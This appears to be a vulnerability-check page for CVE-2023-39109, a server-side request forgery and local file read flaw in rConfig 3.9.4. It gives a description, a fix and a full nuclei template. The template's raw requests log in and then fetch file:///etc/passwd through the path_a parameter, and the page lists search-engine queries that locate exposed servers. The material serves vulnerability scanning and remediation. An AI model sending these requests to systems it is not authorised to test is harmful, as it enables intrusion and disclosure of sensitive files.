rConfig 3.9.4 - Server-Side Request Forgery

highseverity

8.8CVSS score

3.9%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

rconfig v3.9.4 was discovered to contain a Server-Side Request Forgery (SSRF) via the path_a parameter in the doDiff Function of /classes/compareClass.php. This vulnerability allows authenticated attackers to make arbitrary requests via injection of crafted URLs.

Impact

Authenticated attackers can exploit SSRF vulnerabilities in the path_a parameter to make the server fetch arbitrary URLs including local files, potentially accessing sensitive network configuration data and internal services through the rConfig server.

Fix

Update rConfig to a version newer than 3.9.4 that validates and restricts the path_a parameter to prevent SSRF and local file inclusion attacks.

How to confirm it

Send: GET /login.php ; POST /lib/crud/userprocess.php ; GET /lib/crud/configcompare.crud.php?path_a=file:///etc/passwd
Positive when: contains in body_1 "rConfig" AND matches in body_3 /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2023-39109 -u <target>

The full check

id: CVE-2023-39109

info:
  name: rConfig 3.9.4 - Server-Side Request Forgery
  author: theamanrawat
  severity: high
  description: |
    rconfig v3.9.4 was discovered to contain a Server-Side Request Forgery (SSRF) via the path_a parameter in the doDiff Function of /classes/compareClass.php. This vulnerability allows authenticated attackers to make arbitrary requests via injection of crafted URLs.
  impact: |
    Authenticated attackers can exploit SSRF vulnerabilities in the path_a parameter to make the server fetch arbitrary URLs including local files, potentially accessing sensitive network configuration data and internal services through the rConfig server.
  remediation: |
    Update rConfig to a version newer than 3.9.4 that validates and restricts the path_a parameter to prevent SSRF and local file inclusion attacks.
  reference:
    - https://www.rconfig.com/downloads/rconfig-3.9.4.zip
    - https://github.com/zer0yu/CVE_Request/blob/master/rConfig/rConfig_path_a.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-39109
    - https://github.com/zer0yu/CVE_Request
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2023-39109
    cwe-id: CWE-918
    epss-score: 0.0394
    epss-percentile: 0.90482
    cpe: cpe:2.3:a:rconfig:rconfig:3.9.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: rconfig
    product: rconfig
    shodan-query:
      - http.title:"rConfig"
      - http.title:"rconfig"
    fofa-query: title="rconfig"
    google-query: intitle:"rconfig"
  tags: cve2023,cve,rconfig,authenticated,ssrf,lfi,vuln

http:
  - raw:
      - |
        GET /login.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /lib/crud/userprocess.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&pass={{password}}&sublogin=1
      - |
        GET /lib/crud/configcompare.crud.php?path_a=file:///etc/passwd HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - "rConfig"

      - type: regex
        part: body_3
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from